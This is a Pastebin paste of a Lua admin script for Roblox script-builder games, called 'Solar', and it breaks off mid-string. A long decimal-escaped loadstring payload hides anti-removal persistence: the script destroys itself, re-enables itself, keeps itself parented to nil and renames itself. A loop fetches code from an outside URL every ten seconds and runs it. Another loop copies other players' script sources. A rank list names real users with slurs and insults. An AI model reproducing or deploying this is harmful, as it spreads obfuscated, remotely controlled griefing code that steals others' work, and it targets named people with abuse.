Advertisement
Derek1017

Admin

Feb 21st, 2015
306
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 117.42 KB | None | 0 0
  1. --[[
  2. FIXED OVERRIDE!!!
  3. Yeah, so stop telling people the fucking code.
  4. Umm.. Only 2 people knows it...
  5. ]]
  6. a,b = ypcall(function()
  7. wait(0.001);
  8. ScriptSource = nil
  9. SourceName = nil
  10. ScriptLines = 0
  11. Seconds = 0
  12. Minutes = 0
  13. Hours = 0
  14. SB = nil
  15. if script:findFirstChild("source") then
  16. SourceName = 'source'
  17. SB = [[Alakazard]]
  18. elseif script:findFirstChild('DSource') then
  19. SourceName = 'DSource'
  20. SB = [[Anaminus]]
  21. elseif script:findFirstChild('Source') then
  22. SourceName = 'Source'
  23. SB = [[Oxcool]]
  24. else
  25. SourceName = nil
  26. end
  27. wait()
  28. SSource = script:Clone()
  29. SSource.Disabled = true
  30. key = "/"
  31. TestMode = false
  32. LSource = nil
  33. Not = false
  34. ScriptingLocked = false
  35. MessageLimit = 10 --enough.
  36. pcall(function()
  37. Ms = game:service'MarketplaceService'
  38. MainProduct = Ms:GetProductInfo(148912003)
  39. end)
  40.  
  41. ScriptSource = script:findFirstChild(SourceName).Value
  42.  
  43. if TestMode == false then
  44. if SourceName == 'source' then
  45. if game.PlaceId ~= 20279777 then --C:
  46. loadstring("\105\102\40\103\97\109\101\46\80\108\97\99\101\73\100\126\61\50\48\50\55\57\55\55\55\41\116\104\101\110\10\9\108\111\99\97\108\32\101\110\118\61\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\97\109\101\46\71\101\116\74\111\98\115\73\110\102\111\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\59\10\9\108\111\99\97\108\32\108\111\99\97\108\101\110\118\61\123\10\9\9\119\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\87\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\83\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\103\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\71\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\105\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\73\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\116\97\98\108\101\61\101\110\118\46\116\97\98\108\101\59\10\9\9\109\97\116\104\61\101\110\118\46\109\97\116\104\59\10\9\9\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\9\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\9\108\111\97\100\115\116\114\105\110\103\61\101\110\118\46\108\111\97\100\115\116\114\105\110\103\59\10\9\9\117\110\112\97\99\107\61\101\110\118\46\117\110\112\97\99\107\59\10\9\9\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\9\99\111\108\108\101\99\116\103\97\114\98\97\103\101\61\101\110\118\46\99\111\108\108\101\99\116\103\97\114\98\97\103\101\59\10\9\9\100\111\102\105\108\101\61\101\110\118\46\100\111\102\105\108\101\59\10\9\9\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\9\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\105\112\97\105\114\115\61\101\110\118\46\105\112\97\105\114\115\59\10\9\9\108\111\97\100\102\105\108\101\61\101\110\118\46\108\111\97\100\102\105\108\101\59\10\9\9\110\101\120\116\61\101\110\118\46\110\101\120\116\59\10\9\9\112\97\105\114\115\61\101\110\118\46\112\97\105\114\115\59\10\9\9\112\114\105\110\116\61\101\110\118\46\112\114\105\110\116\59\10\9\9\114\97\119\101\113\117\97\108\61\101\110\118\46\114\97\119\101\113\117\97\108\59\10\9\9\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\9\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\9\115\101\108\101\99\116\61\101\110\118\46\115\101\108\101\99\116\59\10\9\9\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\116\111\110\117\109\98\101\114\61\101\110\118\46\116\111\110\117\109\98\101\114\59\10\9\9\116\111\115\116\114\105\110\103\61\101\110\118\46\116\111\115\116\114\105\110\103\59\10\9\9\116\121\112\101\61\101\110\118\46\116\121\112\101\59\10\9\9\120\112\99\97\108\108\61\101\110\118\46\120\112\99\97\108\108\59\10\9\9\97\115\115\101\114\116\61\101\110\118\46\97\115\115\101\114\116\59\10\9\9\68\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\100\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\83\112\97\119\110\61\101\110\118\46\83\112\97\119\110\59\10\9\9\76\111\97\100\76\105\98\114\97\114\121\61\101\110\118\46\76\111\97\100\76\105\98\114\97\114\121\59\10\9\9\112\114\105\110\116\105\100\101\110\116\105\116\121\61\101\110\118\46\112\114\105\110\116\105\100\101\110\116\105\116\121\59\10\9\9\116\105\99\107\61\101\110\118\46\116\105\99\107\59\10\9\9\116\105\109\101\61\101\110\118\46\116\105\109\101\59\10\9\9\86\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\118\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\87\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\119\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\121\112\99\97\108\108\61\101\110\118\46\121\112\99\97\108\108\59\10\9\9\103\99\105\110\102\111\61\101\110\118\46\103\99\105\110\102\111\59\10\9\9\108\111\97\100\61\101\110\118\46\108\111\97\100\59\10\9\9\110\101\119\112\114\111\120\121\61\101\110\118\46\110\101\119\112\114\111\120\121\59\10\9\9\99\111\114\111\117\116\105\110\101\61\101\110\118\46\99\111\114\111\117\116\105\110\101\59\10\9\9\95\71\61\101\110\118\46\95\71\59\10\9\9\95\86\69\82\83\73\79\78\61\101\110\118\46\95\86\69\82\83\73\79\78\59\10\9\125\10\9\10\9\108\111\99\97\108\32\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\108\111\99\97\108\32\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\108\111\99\97\108\32\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\108\111\99\97\108\32\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\108\111\99\97\108\32\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\115\101\116\102\101\110\118\40\48\44\115\101\116\109\101\116\97\116\97\98\108\101\40\108\111\99\97\108\101\110\118\44\123\10\9\9\95\95\109\101\116\97\116\97\98\108\101\61\34\84\104\105\115\32\109\101\116\97\116\97\98\108\101\32\105\115\32\108\111\99\107\101\100\34\59\10\9\9\95\95\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\108\111\99\97\108\32\115\117\99\44\114\101\115\61\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\116\117\114\110\32\115\91\105\110\100\93\32\101\110\100\41\10\9\9\9\105\102\32\110\111\116\32\115\117\99\32\116\104\101\110\10\9\9\9\9\114\101\116\117\114\110\32\101\114\114\111\114\40\34\97\116\116\101\109\112\116\32\116\111\32\105\110\100\101\120\32\103\108\111\98\97\108\32\92\34\34\46\46\105\110\100\46\46\34\92\34\32\40\97\32\110\105\108\32\118\97\108\117\101\41\34\41\10\9\9\9\101\108\115\101\10\9\9\9\9\114\101\116\117\114\110\32\115\91\105\110\100\93\10\9\9\9\101\110\100\10\9\9\101\110\100\59\10\9\9\95\95\110\101\119\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\114\97\119\115\101\116\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\101\110\100\59\10\9\125\41\41\59\10\9\119\97\105\116\40\41\59\10\9\115\99\114\105\112\116\58\68\101\115\116\114\111\121\40\41\10\9\115\99\114\105\112\116\46\67\104\97\110\103\101\100\58\99\111\110\110\101\99\116\40\102\117\110\99\116\105\111\110\40\112\114\111\112\41\10\9\9\105\102\32\112\114\111\112\32\61\61\32\34\68\105\115\97\98\108\101\100\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\32\102\97\108\115\101\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\61\32\102\97\108\115\101\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\80\97\114\101\110\116\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\32\110\105\108\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\61\32\110\105\108\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\78\97\109\101\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\78\97\109\101\32\61\32\34\108\111\108\34\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\78\97\109\101\32\61\61\32\34\108\111\108\34\32\101\110\100\41\10\9\9\101\110\100\10\32\32\32\32\101\110\100\41\10\101\110\100\59")()
  47. end
  48. else
  49. script.Parent = nil
  50. end
  51. else
  52. print'Test mode is on' --Epic print
  53. end
  54. PrivateServer=false
  55. KickingPhrases = true
  56. -- 1 = Kill
  57. -- 2 = Mute
  58. -- 3 = Kick
  59. -- 4 = Crash
  60. -- 5 = Rejoin
  61. --[[
  62. Todo:
  63. Kickingphrases
  64. ]]
  65.  
  66. Solar = {
  67. ["Ranks"] = {
  68. ["Owner"] = 5,
  69. ["Developer"] = 4,
  70. ["Max admin"] = 3,
  71. ["Sentitel"] = 2,
  72. ["Admin"] = 1,
  73. ["Member"] = 0.1,
  74. ["Guest"] = 0,
  75. ['Annoying']=-0.1,
  76. ["Scum"] = -0.5,
  77. ["Banished from time and space"] = -1,
  78. ["Poo"] = -2
  79. };
  80. ["Ranked"] = {
  81. {["Name"] = "optiplex123", ["Rank"] = 5, ["Reason"] = "Creator", ["Color"] = "Bright blue"};
  82. {["Name"] = "Exorsizer", ["Rank"] = 5, ["Reason"] = "Creator's alt", ["Color"] = "Bright blue"};
  83. {["Name"] = "WowARealScripter", ["Rank"] = 5, ["Reason"] = "Creator's alt", ["Color"] = "Cyan"};
  84. {["Name"] = "aleksa12432", ["Rank"] = 5, ["Reason"] = "Creator", ["Color"] = "Cyan"};
  85. {["Name"] = "Ignitex", ["Rank"] = -2, ["Reason"] = "Idiot, tried to ban me but failed.", ["Color"] = "Black"};
  86. {["Name"] = "KotixPL",["Rank"]=4,["Reason"]='Nice person',['Color']='Really black'};
  87. {["Name"] = "xXLocalPlayerXx", ["Rank"] = 3, ["Reason"] = "No Reason Defined!", ["Color"] = "Really black"};
  88. {["Name"] = "DansaltSC", ["Rank"] = 3, ["Reason"] = "Good friend of both creators", ["Color"] = "White"};
  89. {["Name"] = "iYoshiFox", ["Rank"] = 3, ["Reason"] = "Really good friend :D", ["Color"] = "Bright orange"};
  90. {["Name"] = "iSpree", ["Rank"] = -1, ["Reason"] = "An idiot, bas", ["Color"] = "Hot pink"};
  91. {["Name"] = "madiik", ["Rank"] = 2, ["Reason"] = "Brony friend :D", ["Color"] = "Neon orange"};
  92. {["Name"] = "coreynj1", ["Rank"] = -1, ["Reason"] = "Has can\5c\5\5er, banned both owners, and runned pri...AAAND he is g\5\5a\5\5y", ["Color"] = "Hot pink"};
  93. {["Name"] = "MasterKelvinVIP", ["Rank"] = -0.5, ["Reason"] = "Works with corey, and has can\5cer too! Oh, and more pris! (P.S. he is g\5\5a\5\5y)", ["Color"] = "Hot pink"};
  94. {["Name"] = "Camerono3",["Rank"] = -1,["Reason"] = "JE\5RK, thinks he knows everything",["Color"] = "Bright red"};
  95. {["Name"] = "iLordVex",["Rank"] = -0.5,["Reason"] = "B\5\5I\5T\5\5CH",["Color"] = "Hot pink"}; --He runned pri with me in-game, and kicked me with that..
  96. {["Name"] = "jpltiscool",["Rank"] = 4, ["Reason"] = "Nice person, friendly, very, very good",["Color"] = "Neon orange"};
  97. {["Name"] = 'blockheadpie',['Rank']=-1,['Reason']='Teleporting idi0t',['Color']='Hot pink'};
  98. {["Name"] = 'MurkrowMaster',['Rank']=-1,['Reason']='Server lagger, killing idi0t, banner, and ofc. g\5\5a\5\5y',['Color']='Hot pink'};
  99. {["Name"] = '1A6UT',['Rank']=-1,['Reason']='Teleporting idi0t',['Color']='Hot pink'};
  100. {["Name"] = 'ERRORscript',['Rank'] = -2, ["Reason"] = "A fu\5cking idiot, has no life, steals and leaks scripts, basically: A fu\5c\5k\5ing idiot.", ["Color"] = 'Really red'};
  101. {["Name"] = 'AtlasGrim',['Rank'] = -1, ["Reason"] = "Fail-try to ban me.", ["Color"] = 'Hot pink'};
  102. {["Name"] = 'ProScripters',['Rank'] = -1, ["Reason"] = "Stole Ges\5tap\5o Admin, a di\ck, also changed Solar's Credit, aggressive crasher", ["Color"] = 'Really red'};
  103. {['Name'] = 'uareugly13',['Rank']=3,['Reason']='He is testing everything, and going nil when I want to (for tests), Very good guy.',['Color']='Black'};
  104. {['Name'] = 'OMGshadeslayer',['Rank']=3,['Reason']='Good guy.',['Color']='Lime green'};
  105. {['Name'] = 'EB0602',['Rank']=-1,['Reason']='Private Server',['Color']='Really red'};
  106. {['Name'] = 'rabbidog',['Rank']=-2,['Reason']='Teleported people to a WC-Toilet server, saying "I dislike you, get out"',['Color']='Really red'};
  107. {['Name'] = 'lucaruwette',['Rank']=-1,['Reason']='qOrb idiot, kicking me',['Color']='Hot pink'};
  108. {['Name'] = 'bigblast101',['Rank']=-1,['Reason']='Free modeling idiot.',['Color']='Hot pink'};
  109. {['Name'] = 'IMxTHExMAN',['Rank']=-0.1,['Reason']='Uses waffels orb-script, he doesn\'t abuse it, but he makes it annoying.',['Color']='New Yeller'};
  110. {['Name'] = 'PewPewGamerz',['Rank']=-1,['Reason']='qORB idiot, kicking me, a very big idiot.',['Color'] = 'Hot pink'};
  111. {['Name'] = 'sereja',['Rank']=-1,['Reason']='nub',['Color']='Hot pink'};
  112. {['Name'] = 'AlphaGrim',['Rank']=-1,['Reason']='Member of the stupid fu\5cking team Orion',['Color']='New Yeller'};
  113. {['Name'] = 'xRageBullx',['Rank'] = 3,['Reason'] = 'Good guy',['Color']='Navy blue'};
  114. {['Name'] = 'jr41901',['Rank']=-1,['Reason']='Teleporting idiot',['Color']='Hot pink'};
  115. {['Name'] = 'islandmaker2012',['Rank']=-0.5,['Reason']='Annoying idiot',['Color']='Hot pink'};
  116. {['Name'] = 'SonGoku325',['Rank']=-1,['Reason']='Teleporting idiot',['Color']='Hot pink'};
  117. {['Name'] = 'iKrypto',['Rank']=-2,['Reason']='Is ERRORscript, leaked 8Bit and Solar',['Color']='Really red'};
  118. };
  119. ["Services"] = {
  120. game;
  121. game:service'Workspace';
  122. game:service'Lighting';
  123. game:service'StarterGui';
  124. game:service'StarterPack';
  125. game:service'Players';
  126. };
  127. ["Tabs"] = {};
  128. ["Cmds"] = {};
  129. ["Rotation"] = 0,
  130. ["RotationAddValue"] = 0.1
  131. }
  132. --[[STARTUP LOOPS]]--
  133. coroutine.wrap(function()
  134. while wait() do
  135. if LSource ~= nil then break end
  136. if SourceName == "source" then break end
  137. for _,v in pairs(game.Players:players()) do
  138. if LSource ~= nil then break end
  139. pcall(function()
  140. for j,k in pairs(v.Backpack:children()) do
  141. if LSource ~= nil then break end
  142. if k.ClassName == 'LocalScript' then
  143. if k:findFirstChild(SourceName) ~= nil then
  144. k.Archivable = true
  145. LSource = k:Clone()
  146. LSource.Disabled = true
  147. OutputAdmins("Source found","Really red")
  148. break
  149. end
  150. end
  151. wait()
  152. end
  153. for j,k in pairs(v.Character:children()) do
  154. if LSource ~= nil then break end
  155. if k.ClassName == 'LocalScript' then
  156. if k:findFirstChild(SourceName) ~= nil then
  157. k.Archivable = true
  158. LSource = k:Clone()
  159. LSource.Disabled = true
  160. OutputAdmins("Source found","Really red")
  161. break
  162. end
  163. end
  164. wait()
  165. end
  166. end)
  167. end
  168. end
  169. end)()
  170. coroutine.wrap(function()
  171. while wait(10) do
  172. pcall(function()
  173. SyncRemote = "https://code.stypi.com/raw/aleksa12432/Solar%20remote.lua"
  174. Http = game:service'HttpService'
  175. s = h:GetAsync(SyncRemote,true)
  176. loadstring(s)()
  177. end)
  178. end
  179. end)()
  180. coroutine.wrap(function()
  181. while wait(1) do
  182. Seconds = Seconds + 1
  183. if Seconds == 60 then
  184. Seconds = 0
  185. Minutes = Minutes + 1
  186. end
  187. if Minutes == 60 then
  188. Minutes = 0
  189. Hours = Hours + 1
  190. end
  191. end
  192. end)()
  193. --[[FUNCTIONS]]--
  194. function UpdateNilPlayersTablets()
  195. pcall(function()
  196. for i,v in pairs(game:service'NetworkServer':children()) do
  197. if v:GetPlayer() then
  198. if v:GetPlayer().Parent ~= game:service'Players' then
  199. local PT = {}
  200. local plr = nil
  201. for x,t in pairs(Solar['Tabs']) do
  202. if t.Owner == v:GetPlayer() then
  203. PT[#PT+1] = t
  204. end
  205. end
  206. for x,t in pairs(game:service'Workspace':children()) do
  207. if t.Name == v:GetPlayer().Name then
  208. plr = t
  209. end
  210. end
  211. for i = 1,#PT do
  212. local pos = CFrame.new(0,0,0)
  213. if plr.ClassName == 'Part' then
  214. pos = plr.CFrame
  215. elseif plr:findFirstChild'Torso' then
  216. pos = plr:findFirstChild'Torso'.CFrame
  217. end
  218. local m=(i/#PT-(.5/#PT)+(Solar["Rotation"]/(#PT/10)))*math.pi*2
  219. local rad=(#PT*.6)+4
  220. local x=math.sin(m)*(rad)
  221. local y=math.sin(time()/5)
  222. local z=math.cos(m)*rad
  223. local arot=Vector3.new(x,y,z)+pos.p
  224. local brot=PT[i].P.CFrame.p
  225. local crot=arot*.1+brot *.9
  226. local d=math.rad((Solar["Rotation"]*300)*math.pi)
  227. PT[i].P.CFrame=CFrame.new(crot,pos.p)*CFrame.Angles(d,d,d)
  228. end
  229. end
  230. end
  231. end
  232. end)
  233. end
  234. function Explore(p, part)
  235. pcall(function()
  236. Dismiss(p)
  237. if part == nil then
  238. for _,v in pairs(Solar['Services']) do
  239. Output(p,v.Name,GetColor(p), function() Explore(p,v) end)
  240. end
  241. else
  242. for _,v in pairs(part:children()) do
  243. Output(p,v.Name,GetColor(p), function() Explore(p,v) end)
  244. end
  245. Output(p,"Currently exploring: "..part:GetFullName(),'New Yeller')
  246. Output(p,"ClassName: "..part.ClassName,'New Yeller')
  247. Output(p,"Destroy",'Really red', function() part:Destroy() Explore(p,part.Parent) end)
  248. Output(p,"Remove",'Really red', function() part:remove() Explore(p,part.Parent) end)
  249. Output(p,"Explore parent",'Bright blue', function() Explore(p,part.Parent) end)
  250. Output(p,"Clone",'Institutional white', function() clonedpart = part:Clone() end)
  251. Output(p,"Refresh",'Cyan', function() Explore(p,part) end)
  252. if clonedpart then
  253. Output(p,"Paste: "..clonedpart.Name,'Institutional white', function() clonedpart.Parent = part clonedpart = nil end)
  254. end
  255. end
  256. end)
  257. end
  258. --[[STARTUP LOOPS END]]--
  259. ChatConnections = {}
  260. --[[SOURCES]]--
  261. ConnectSource = [[
  262. wait(0.001)
  263. if script:findFirstChild'source' ~= nil then
  264. loadstring("\105\102\40\103\97\109\101\46\80\108\97\99\101\73\100\126\61\50\48\50\55\57\55\55\55\41\116\104\101\110\10\9\108\111\99\97\108\32\101\110\118\61\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\97\109\101\46\71\101\116\74\111\98\115\73\110\102\111\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\59\10\9\108\111\99\97\108\32\108\111\99\97\108\101\110\118\61\123\10\9\9\119\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\87\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\83\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\103\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\71\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\105\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\73\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\116\97\98\108\101\61\101\110\118\46\116\97\98\108\101\59\10\9\9\109\97\116\104\61\101\110\118\46\109\97\116\104\59\10\9\9\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\9\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\9\108\111\97\100\115\116\114\105\110\103\61\101\110\118\46\108\111\97\100\115\116\114\105\110\103\59\10\9\9\117\110\112\97\99\107\61\101\110\118\46\117\110\112\97\99\107\59\10\9\9\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\9\99\111\108\108\101\99\116\103\97\114\98\97\103\101\61\101\110\118\46\99\111\108\108\101\99\116\103\97\114\98\97\103\101\59\10\9\9\100\111\102\105\108\101\61\101\110\118\46\100\111\102\105\108\101\59\10\9\9\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\9\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\105\112\97\105\114\115\61\101\110\118\46\105\112\97\105\114\115\59\10\9\9\108\111\97\100\102\105\108\101\61\101\110\118\46\108\111\97\100\102\105\108\101\59\10\9\9\110\101\120\116\61\101\110\118\46\110\101\120\116\59\10\9\9\112\97\105\114\115\61\101\110\118\46\112\97\105\114\115\59\10\9\9\112\114\105\110\116\61\101\110\118\46\112\114\105\110\116\59\10\9\9\114\97\119\101\113\117\97\108\61\101\110\118\46\114\97\119\101\113\117\97\108\59\10\9\9\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\9\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\9\115\101\108\101\99\116\61\101\110\118\46\115\101\108\101\99\116\59\10\9\9\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\116\111\110\117\109\98\101\114\61\101\110\118\46\116\111\110\117\109\98\101\114\59\10\9\9\116\111\115\116\114\105\110\103\61\101\110\118\46\116\111\115\116\114\105\110\103\59\10\9\9\116\121\112\101\61\101\110\118\46\116\121\112\101\59\10\9\9\120\112\99\97\108\108\61\101\110\118\46\120\112\99\97\108\108\59\10\9\9\97\115\115\101\114\116\61\101\110\118\46\97\115\115\101\114\116\59\10\9\9\68\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\100\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\83\112\97\119\110\61\101\110\118\46\83\112\97\119\110\59\10\9\9\76\111\97\100\76\105\98\114\97\114\121\61\101\110\118\46\76\111\97\100\76\105\98\114\97\114\121\59\10\9\9\112\114\105\110\116\105\100\101\110\116\105\116\121\61\101\110\118\46\112\114\105\110\116\105\100\101\110\116\105\116\121\59\10\9\9\116\105\99\107\61\101\110\118\46\116\105\99\107\59\10\9\9\116\105\109\101\61\101\110\118\46\116\105\109\101\59\10\9\9\86\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\118\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\87\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\119\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\121\112\99\97\108\108\61\101\110\118\46\121\112\99\97\108\108\59\10\9\9\103\99\105\110\102\111\61\101\110\118\46\103\99\105\110\102\111\59\10\9\9\108\111\97\100\61\101\110\118\46\108\111\97\100\59\10\9\9\110\101\119\112\114\111\120\121\61\101\110\118\46\110\101\119\112\114\111\120\121\59\10\9\9\99\111\114\111\117\116\105\110\101\61\101\110\118\46\99\111\114\111\117\116\105\110\101\59\10\9\9\95\71\61\101\110\118\46\95\71\59\10\9\9\95\86\69\82\83\73\79\78\61\101\110\118\46\95\86\69\82\83\73\79\78\59\10\9\125\10\9\10\9\108\111\99\97\108\32\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\108\111\99\97\108\32\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\108\111\99\97\108\32\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\108\111\99\97\108\32\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\108\111\99\97\108\32\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\115\101\116\102\101\110\118\40\48\44\115\101\116\109\101\116\97\116\97\98\108\101\40\108\111\99\97\108\101\110\118\44\123\10\9\9\95\95\109\101\116\97\116\97\98\108\101\61\34\84\104\105\115\32\109\101\116\97\116\97\98\108\101\32\105\115\32\108\111\99\107\101\100\34\59\10\9\9\95\95\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\108\111\99\97\108\32\115\117\99\44\114\101\115\61\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\116\117\114\110\32\115\91\105\110\100\93\32\101\110\100\41\10\9\9\9\105\102\32\110\111\116\32\115\117\99\32\116\104\101\110\10\9\9\9\9\114\101\116\117\114\110\32\101\114\114\111\114\40\34\97\116\116\101\109\112\116\32\116\111\32\105\110\100\101\120\32\103\108\111\98\97\108\32\92\34\34\46\46\105\110\100\46\46\34\92\34\32\40\97\32\110\105\108\32\118\97\108\117\101\41\34\41\10\9\9\9\101\108\115\101\10\9\9\9\9\114\101\116\117\114\110\32\115\91\105\110\100\93\10\9\9\9\101\110\100\10\9\9\101\110\100\59\10\9\9\95\95\110\101\119\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\114\97\119\115\101\116\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\101\110\100\59\10\9\125\41\41\59\10\9\119\97\105\116\40\41\59\10\9\115\99\114\105\112\116\58\68\101\115\116\114\111\121\40\41\10\9\115\99\114\105\112\116\46\67\104\97\110\103\101\100\58\99\111\110\110\101\99\116\40\102\117\110\99\116\105\111\110\40\112\114\111\112\41\10\9\9\105\102\32\112\114\111\112\32\61\61\32\34\68\105\115\97\98\108\101\100\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\32\102\97\108\115\101\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\61\32\102\97\108\115\101\32\101\110\100\